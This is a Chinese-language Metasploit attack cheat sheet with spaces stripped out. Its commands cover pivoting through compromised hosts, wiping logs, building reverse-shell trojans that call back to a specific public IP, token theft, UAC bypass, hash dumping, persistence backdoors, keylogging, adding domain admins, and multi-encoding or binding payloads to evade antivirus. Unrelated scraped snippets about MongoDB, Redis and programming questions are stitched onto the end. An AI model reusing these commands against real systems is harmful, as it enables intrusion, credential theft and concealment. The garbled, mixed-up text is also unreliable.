使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。
可以先使用runget_local_subnets命令查看已拿下的目标主机的内网IP段情况
命令:runget_local_subnets
如下图:
其内网尚有192.168.249.0/24网段,我们无法直接访问
下面做一条路由,下一跳为当前拿下主机的sessionid(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。
命令:routeadd192.168.249.0255.255.255.05
再使用routeprint查看一下路由表,效果如下图:
32、clearev命令
入侵痕迹擦除
在渗透利用过程中难免留下日志等信息痕迹,使用clearev命令擦除痕迹后再跑。
命令:clearev
效果如下图:
生成windows下的反弹木马
msfvenom-pwindows/meterpreter/reverse_tcpLHOST=60.205.212.140LPORT=8888-fexe>8888.exe//-p
监听
useexploit/multi/handlersetPAYLOADwindows/meterpreter/reverse_tcpsetLHOST172.17.150.246//阿里云云服务器这里是内网ipsetLPORT8888exploit-j
PHP:
msfvenom-pphp/meterpreter_reverse_tcpLHOST=60.205.212.140LPORT=8888-fraw>shell.phpuseexploit/multi/handlersetPAYLOADphp/meterpreter_reverse_tcpsetLHOST172.17.150.246setLPORT8888exploit-j
shellcode:
msfvenom-pwindows/meterpreter/reverse_tcpLPORT=1234LHOST=60.205.212.140-ex86/shikata_ga_nai-i11-fpy>1.py//-e使用编码-i编码次数
meterpreter>runget_local_subnets//获取网段meterpreter>runautoroute-s172.2.175.0/24//添加路由meterpreter>runautoroute-p//查看路由meterpreter>runautoroute-d-s172.2.175.0//删除网段meterpreter>runpost/windows/gather/arp_scannerRHOSTS=7.7.7.0/24//探测该网段下的存活主机。meterpreter>background//后台sessions
meterpreter>getsystem//直getsystem提权,最常用简单的办法
meterpreter>background//先后台运行会话[*]Backgroundingsession1…msf>usepost/windows/escalate/ms10_073_kbdlayoutmsf>showoptionsmsf>setsession1//设置要使用的会话msfpost(ms10_073_kbdlayout)>exploit注意:如果创建了一个system进程,就可以立马sessions1进入会话,然后ps查看进程,使用migratepid注入到进程。或者直接:meterpreter>runpost/windows/escalate/ms10_073_kbdlayout
3.盗取令牌
meterpreter>useincognito//进入这个模块meterpreter>list_tokens–u//查看存在的令牌meterpreter>impersonate_tokenNTAUTXXXX\SYSTEM//令牌是DelegationTokens一列,getuid查看,两个斜杠
注:只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的,建好的账户没有这个权限。使用菜刀(IIS服务器权限)反弹meterpreter是服务型权限。
4.Bypassuac
msf>useexploit/windows/local/bypassuac//32位与64位一样,其他几个模块也一样msf>showoptionsmsf>setsession4msf>run//成功后会返回一个新的session,进入新会话,发现权限没变,使用getsystem即可完成提权
5.Hash
meterpreter>runpost/windows/gather/smart_hashdump//读取hash这种做法最智能,效果最好。
服务启动后门:
meterpreter>runmetsvc-A//再开起一个终端,进入msfconsolemsf>useexploit/multi/handler//新终端中监听msf>setpayloadwindows/metsvc_bind_tcpmsf>setLPORT31337msf>setRHOST192.168.0.128msf>run//获取到的会话是system权限
启动项启动后门
meterpreter>runpersistence-X-i10-p6666-r192.168.71.105
//-X系统开机自启,-i1010秒重连一次,-p监听端口,-r监听机。直接监听就好了,他自己会链接回来。注意到移除persistence后门的办法是删除HKLM\Software\Microsoft\Windows\CurrentVersion\Run\中的注册表键和C:\WINDOWS\TEMP\中的VBScript文件。缺点:容易被杀毒软件杀。
这两个后门有个弊端,在进程中都会存在服务名称为meterpreter的进程。
对端口都扫描
useauxiliary/scanner/portscan/tcpshowoptionssetrhosts192.168.2.1-255setports21,22,25,443,445,1433,3306setthreads20exploit
mssql开发利用
mysql开放利用
useauxiliary/scanner/ssh/ssh_loginsetrhosts7.7.7.20setusernamerootsetpass_file/root/pass.txt//加载字典,可以收集密码做字典setthreads50run
msf>nmap–script=vuln受害靶机ip地址msf>nmap–script=mysql-info192.168.0.4//扫描mysql数据库信息版本等..
最后清除记录
msf>clearev//删除目标机上的应用程序、系统和安全日志。
一些常用命令
查看系统命令sysinfo
截图screenshot
查看是否是虚拟机runcheckvm
查看运行木马的用户getuid
注入到进程migratepid//成功会提示successfully
加载mimikatz模块meterpreter>loadmimikatzmeterpreter>wdigest//需要system权限
获取键盘记录:meterpreter>runpost/windows/capture/keylog_recorder#运行键盘记录模块,他自己创建本文。
一.名词解释exploit测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的有内存溢出,网站程序漏洞利用,配置错误exploit。payload我们想让被攻击系统执行的程序,如reverseshell可以从目标机器与测试者之间建立一个反响连接,bindshell绑定一个执行命令的通道至测试者的机器。payload也可以是只能在目标机器上执行有限命令的程序。shellcode是进行攻击时的一系列被当作payload的指令,通常在目标机器上执行之后提供一个可执行命令的shell。moduleMSF的模块,由一系列代码组成。listener等待来自被攻击机器的incoming连接的监听在测试者机器上的程序
二.编码器msfencode–l查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai
三.信息刺探与收集1、攻击第一步:基础信息收集①whois查询:msf>whoisexample.commsf>whois192.168.1.100
③nslookupsettype=mxexample.com
2、用nmap探测开放端口和服务:
-sSSYN半开扫描-sTTCP半开扫描-Pn不使用ping方式探测主机-A探测服务类型-6开启IPV6扫描-O探测操作系统版本
常用扫描参数组合:nmap–sS–Pn192.168.0.111nmap–sS–Pn–A192.168.0.111
四.基本漏洞扫描1、使用nc与目标端口通信,获取目标端口的信息:nc192.168.1.11180GETHTTP1/1Server:Microsoft-IIS/5.1(1:还有一个功能与nc类似的工具Ncat,产自nmap社区,可实现相同功能:ncat-C192.168.1.11180GET/HTTP/1.0
2:题外:ncat还可以做聊天服务器呢!在服务器端监听然后多个客户端直接连上就可以聊天了:服务器(chatserver):ncatncat-l–chat其他客户端:ncatchatserver
4:其实与nc功能类似的工具在bt5里面还有很多,比如还有一个sbd:监听:sbd-l-p12345连接:sbd192.168.1.11112345
5:当然也可以用来聊天,与ncat的不同之处在于ncat自动对用户编号user1、user2、…,而sbd可以自定义昵称,且不需要专门单独监听为聊天服务器:pc1:sbd-l-p12345-Pchownerpc2:sbdpc112345-Pevil
6:其实nc也可以用来聊天的:pc1:nc-l-p12345pc2:telnetpc112345)
4、特殊扫描:SMB弱口令:msf>useauxiliary/scanner/smb/smb_loginsetRHOSTS192.168.1.111-222setSMBUserAdministratorsetSMBPassadminrunVNC空口令:msf>useauxiliary/scanner/vnc/vnc_none_authsetRHOSTS192.168.1.111runOpenX11空口令:msf>useauxiliary/scanner/x11/open_x11setRHOST192.168.1.0/24setTHREADS50run当扫描到此漏洞的主机后可以使用xspy工具来监视对方的键盘输入:cd/pentest/sniffers/xspy/./xspy–display192.168.1.125:0–delay100(xspy这货在bt5r1里面貌似木有了)
五.基础溢出命令1、基本命令:查看可用溢出模块showexploits查看辅助模块showauxiliary包括扫描器,拒绝服务模块,fuzzer工具或其他。查看可用选项showoptions加载模块后退出此模块back例子:msf>usewindows/smb/ms08_067_netapiback搜索模块search例子:searhmssqlsearchms08_067查看当前模块可用的payload:showpayloads例子:usewindows/smb/ms08_067_netapishowpayloadssetpayloadwindows/shell/reverse_tcpshowoptions**查看可选的目标类型**showtargets**查看更多信息**info设置一个选项或取消设置set/unset设置或取消全局选项setg/unsetg例如设置LHOST就可以用setg,避免后面重复设置保存全局选项的设置save当下次启动仍然生效查看建立的sessionsessions–l**sessionsessions–inum#num为session编号
2、令牌模拟:当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后登陆其他机器时不需要登陆密码。meterpreter>ps#查看目标机器进程,找出域控账户运行的进程ID,假如发现PID为380meterpreter>steal_token380有时ps命令列出的进程中可能不存在域控账户的进程,此时使用incognito模块查看可用token:meterpreter>useincognitometerpreter>list_tokens–u#列出可用token,假如找到域控tokenmeterpreter>impersonate_tokenSNEAKS.IN\ihazdomainadminmeterpreter>add_userhackerpassword–h192.168.1.50#在域控主机上添加账户meterpreter>add_group_user“DomainAdmins”hacker–h192.168.1.50#将账户添加至域管理员组
3、内网渗透:当取得同网段内一台主机的权限后可以进一步渗透网内其他主机:例子:meterpreter>runget_local_subnets#查看网段/子网Localsubnet:192.168.33.0/255.255.255.0meterpreter>background#转入后台运行msf>routeadd192.168.33.0255.255.255.01#本地添加路由信息msf>routeprint#查看添加的信息msf>uselinux/samba/lsa_transnames_heap#准备向内网目标主机进攻setpayloadlinux/x86/shell/reverse_tcpsetLHOST10.10.1.129#此处为attacking主机的外网IPsetLPORT8080setRHOST192.168.33.132#内网目标主机exploit也可以使用自动式添加路由模块:msf>loadauto_add_routemsf>exploit
5、升级commandshell例子:msfconsolemsf>searchms08_067msf>usewindows/smb/ms08_067_netapisetPAYLOADwindows/shell/reverse_tcpsetTARGET3setgLHOST192.168.1.111setgLPORT8080exploit–z#后台运行,如果此处未使用-z参数,后面可以按CTRL-Z转到后台sessions–u1#升级shell,必须前面使用setg设定sessions–i2
6、使用Railgun操作windowsAPIs例子:meterpreter>irb
client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)在目标机器上会弹出一个标题栏为world和内容为hello的窗口
七.避开杀软1、使用msfpayload创建可执行后门:例子:msfpayloadwindows/shell_reverse_tcp0#查看选项msfpayloadwindows/shell_reverse_tcpLHOST=192.168.1.111LPORT=31337X>/var/www/payload1.exe然后本机监听端口msf>useexploit/multi/handlershowoptionssetPAYLOADwindows/shell_reverse_tcpsetLHOST192.168.1.111setLPORT31337exploit
2、过杀软—使用msfencode编码后门:msfencode–l#列出可用编码器例子:msfpayloadwindows/shell_reverse_tcpLHOST=192.168.1.111LPORT=31337R|msfencode–ex86/shikata_ga_nai–texe>/var/www/payload2.exe使用R参数作为raw输出至管道,再经过msfencode处理,最后导出。
3、多次编码:例子:msfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.1.111LPORT=31337R|msfencode–ex86/shikata_ga_nai–c5–traw|msfencode–ex86/alpha_upper–c2–traw|msfencode–ex86/shikata_ga_nai–c5–traw|msfencode–ex86/countdown–c5–texe–o/var/www/payload3.exe简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17次循环编码。(题外:经测试,1:使用此命令生成的后门也被MSE杀到;2:未编码的后门或编码次数较少的后门可以直接被秒杀;3:windows/x64/meterpreter/reverse_tcp生成的后门未经任何处理仍然不被杀,看来杀毒软件傻逼了;4:x86编码器编码的后门在64位机器上无法执行;5:360有个沙箱功能,后门文件右键选择“在360隔离沙箱中运行”,msf照样可以连接并操作,看来隔离沙箱功能有限。)
5、暗度陈仓—猥琐执行payload:绑定payload至一个可执行文件,让目标不知不觉间中招,以putty.exe为例:msfpayloadwindows/shell_reverse_tcpLHOST=192.168.1.111LPORT=8080R|msfencode–texe–xputty.exe-o/var/www/putty_backdoor.exe–ex86/shikata_ga_nai–k–c5假如选择一个GUI界面的程序作为绑定目标并且不使用-k选项,则目标执行此程序的时候不会弹出cmd窗口,-k选项的作用是payload独立于模板软件的进程运行。
6、加壳:msfencode部分编码器会增加程序体积,这时可使用壳(packer)来压缩程序,“带套之后更保险”,例如UPX:apt-getinstallupx最新版可到sf.net下载使用方法:upx-5/var/www/payload3.exe还有另外一个工具msfvenom结合了msfpayload和msfencode的功能,使用起来更省心,亲,一定要试试哦!过杀软总结起来就是多次编码和使用多种壳,终极大法就是使用自己编写的后门(市面上没有,被杀几率更低)。
八.使用用户端攻击方式(client-sideattacks)1、主要指利用多种途径包括社会工程学方式攻击目标机器上安装的带有漏洞的程序如浏览器,pdf阅读器,office软件等,最终获取系统权限。基于浏览器的攻击:例子:msf>usewindows/browser/ms10_002_aurorasetpayloadwindows/meterpreter/reverse_tcpsetSRVPORT80setURIPATH/setLHOST192.168.1.111setLPORT443exploit–zsessions–i1runmigrate或者:msf>usewindows/browser/ms10_002_aurorashowadvancedsetReverseConnectRetries10setAutoRunScriptmigrate–fexploituseprivgetsystem
2、文件格式exploit利用文件格式的漏洞达到溢出的目的,比如PDF,word,图片等。例子:msf>usewindows/fileformat/ms11_006_createsizeddibsectioninfosetpayloadwindows/meterpreter/reverse_tcpsetLHOST192.168.1.111setLPORT443exploit此时会生成一个msf.doc的word文档,在目标机器上打开此文档,然后本机监听端口等待反弹连接:usemulti/handlersetpayloadwindows/meterpreter/reverse_tcpsetLHOST192.168.1.111setLPORT443exploit–j
十.社会工程学工具集(SET)主要功能:hackingthehumanmind。1、SET基本配置:SET位于/pentest/exploits/set/目录更新:cd/pentest/exploits/set/svnupdate配置文件config/set_config,当使用基于web的攻击方式时可以将email功能打开:viconfig/set_config:METASPLOIT_PATH=/opt/framework3/msf3WEBATTACK_EMAIL=ON使用Javaappletattack进行攻击的时候默认使用Microsoft作为发布者名称,如果需要自定义则需要安装JDK并打开配置项:SELF_SIGNED_APPLET=ONSET默认打开AUTO_DETECT项,自动探测本机IP并用于攻击中的各项配置。如果本机是多网卡需要手动指定IP,则需将此项关闭:AUTO_DETECT=OFFSET默认使用内建的python提供的webserver供使用,如需使用apache作为服务则需要本机安装apache并打开配置项:APACHE_SERVER=ON
十一.FAST-TRACKFast-Track和SET一样都是python编写的,同样是使用MSF提供的payload以及用户端攻击向导等,作为对MSF的补充,它提供了如MSSQL攻击,更多的exploit,浏览器攻击向导等。fasttrack位于/pentest/exploits/fasttrack/。交互式模式:./fast-track.py-i命令行模式:./fast-track.py-cWeb界面模式:./fast-track.py-g
2、Binary-HEX转换器:当你已经进入一个系统且需要上传可执行文件上去,就可以使用这个工具将可执行的二进制文件转换为HEX十六进制编码,然后复制粘贴过去即可。
十二.KARMERASPLOITKarmetasploit=Karma+Metasploit,也可以说成它是MSF的KARMA实现。Karma和MSF一样也是使用ruby语言编写的,其功能是建立一个虚假的无线接入点,等待目标连接上钩。与MSF结合可实现更强大的功能。Karmetasploit集成了DNS,POP3,IMAP4,SMTP,FTP,SMB,HTTP等服务用于攻击,模块位于modules/auxiliary/server目录下。基本配置:需要的配置不多,首先需要配置一个DHCP服务为目标提供动态IP分配,配置文件:optiondomain-name-servers10.0.0.1;default-lease-time60;max-lease-time72;ddns-update-stylenone;authoritative;log-facilitylocal7;subnet10.0.0.0netmask255.255.255.0{range10.0.0.10010.0.0.254;optionrouters10.0.0.1;optiondomain-name-servers10.0.0.1;}
十三.构建自己的模块,编写自己的exploit,meterpreter脚本编程
这三章留着后面看,需要有ruby基础等编程基础。
十五.常用命令备忘
MSFconsoleCommands
showexploits查看所有exploitshowpayloads查看所有payloadshowauxiliary查看所有auxiliarysearchname搜索exploit等info查看加载模块的信息usename加载模块LHOST本机IPRHOST目标IPsetfunction设置选项值setgfunction全局设置showoptions查看选项showtargets查看exp可选的平台settargetnum设置exp作用平台setpayloadpayload设置payloadshowadvanced查看高级选项setautorunscriptmigrate-f设置自动执行指令check测试是否可利用exploit执行exp或模块exploit-j作为后台执行exploit-z成功后不立即打开sessionexploit-eencoder指定encoderexploit-h查看帮助信息sessions-l-v列出可用sessions详细信息sessions-sscript在指定session执行脚本sessions-K结束sessionsessions-ccmd执行指定命令sessions-usessionID升级shelldb_createname创建数据库db_connectname连接数据库db_nmapnmap扫描并导入结果db_autopwn-h查看autopwn帮助db_autopwn-p-r-e基于端口,反弹shelldb_destroy删除数据库
MeterpreterCommands
MSFpayloadCommands
msfpayload-h查看帮助msfpayloadwindows/meterpreter/bind_tcp0查看指定payload可用选项msfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.1.2LPORT=443X>payload.exe生成payload.exemsfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.1.2LPORT=443R>payload.raw保存为RAW格式,可用于msfencodemsfpayloadwindows/meterpreter/bind_tcpLPORT=443C>payload.c保存为C格式msfpayloadwindows/meterpreter/bind_tcpLPORT=443J>payload.java保存为java格式
MSFencodeCommands
msfencode-h查看帮助msfencode-l查看可用encodermsfencode-t(c,elf.exe,java.js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)以指定格式显示编码后的buffermsfencode-ipayload.raw-oencoded_payload.exe-ex86/shikata_ga_nai-c5-texe生成编码后的exemsfpayloadwindows/meterpreter/bind_tcpLPORT=443R|msfencode-ex86/countdown-c5-traw|msfencode-ex86/shikata_ga_nai-c5-texe-omulti-encoded.exe多编码器结合,多次编码msfencode-ipayload.rawBufferRegister=ESI-ex86/alpha_mixed-tc生成纯字符格式C类型shellcode
MSFcliCommands
msfcli|grepexploit只显示exploitmsfcli|grepexploit/windows只显示windowsexploitmsfcliexploit/windows/smb/ms08_067_netapiPAYLOAD=windows/meterpreter/bind_tcpLPORT=443RHOST=172.16.32.26E针对指定IP加载指定exp并设定payload
MSF,Ninja,Fu
msfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.1.2LPORT=443R|msfencode-xcalc.exe-k-opayload.exe-ex86/shikata_ga_nai-c7-texe使用calc.exe作为模板,生成经过编码的后门msfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.1.2LPORT=443R|msfencode-xcalc,exe-opayload.exe-ex86/shikata_ga_nai-c7-texe与上面差不多,只是执行的时候不依赖于生成的可执行文件,且不会有任何提示信息msfpayloadwindows/meterpreter/bind_tcpLPORT=443R|msfencode-opayload.exe-ex86/shikata_ga_nai-c7-texe&&msfclimulti/hanlerPAYLOAD=windows/meterpreter/bind_tcpLPORT=443E生成编码后的payload并开始监听本机端口
MSFvenom
msfvenom–payload自动生成payload
MeterpreterPostExploitationCommands
在获得目标的Meterpretershell后进行信息收集是后渗透工作的基础记录一下关于meterpreter信息收集的使用环境:kalilinux192.168.190.141xp靶机192.168.190.140生成木马监听反弹shell上线...
随着windows系统的不断更新完善,windows对用户系统的安全力度也在加强。这对我们的渗透,也带来了不少的麻烦。今天我将带大家,利用目前流行的metasploit框架,绕过一些UAC及防火墙的限制,从而达到成功利用的目的!由于绕过UAC的功能需在meterpreter的shell才能实现。因此,我们首先要做的就是取得目标机器的meterpretershell。生成...
继上一篇得到的普通session进行提权提权方法:一.提高程序的运行级别(uac)说明:没有绕过uac,而且会弹出uac的框,如果用户点击执行才能成功获得更高权限的shellMsf模块:Exploit/windows/local/ask1.试试看可不可以直接得到system权限发现有报错2.然后先把meterpreter这个session放到后台3.加载此模块Info可查看模块...
常用命令归纳分类文件管理mkdir,rmdir,mv,rm,cp,touch,cat,tac,echo,more,less,head,tail,file,find,rename,ln,pwd,scp,alias磁盘管理ls,cd,du,df,mount,unmounts,fdisk文档处理wc,sort,uniq,cut,sed...
在windows安装好了windows,首先记得要把mongodbbin目录路径放在系统环境变量的path中,确定之后即配置好了mongo的环境变量,在dos命令框中输入mongo会出现如下版本信息:想要启动本地mongo服务,直接在命令框中输入mongod.exe即可启动mongodb需要配置默认的数据库路径(data目录)、日志路径(l...
1、windows安装redis,下载Redis-x64-3.2.100.zip解压后如下:2、启动rediswindows+R打开cmd切换到解压的文件夹下:打开两个窗口分别执行执行redis-serverredis.windows.confredis-clire回车...
1、附件1自己总结的安装文件2、附件2某培训机构关于radhat虚拟机安装(网上下载)3、学习摘要/Linux文件系统的入口,也是处于最高一级的目录;/bin&nb...
CouldsomeonepleasehelpmefixmyprogramandexplainwhyitsnotworkingIt'ssupposedtogeneratenpointswith2coordinates,whicharebothrandomnumbers.Thevaluesthemselvesarerandombut...
FollowingaresomedeclarationofStringinJAVASCRIPTWhatisthedifferencebetweendeclarationsmentionedabove.Memorywiseorifany.Ibelievethetoptwoareequivalentandthefirstisjustsy...
Background:Ineedtodeterminethenumberofrecordsinaremotelocation.Therecordsaresequentiallynumbered(startingat0,nogaps)andcanonlybefetchedonebyonebasedontheirnumber.The...
IhaveNSStringwithinputValuefromkeyboard.Eg.Inmycase,iwanttogetawordbeforelastletter.Foraboveeg,iwanttogetonlylletterbeforeeletter.HowcanigetitIfyouneedaNS...
WhiletryingtosetuptousetheGeospatialIndexonMongoDB,Irunintotheerrormessagethatthelocationarrayisnotinthecorrectformat.Thisismycollection"test".OnceIrunthis...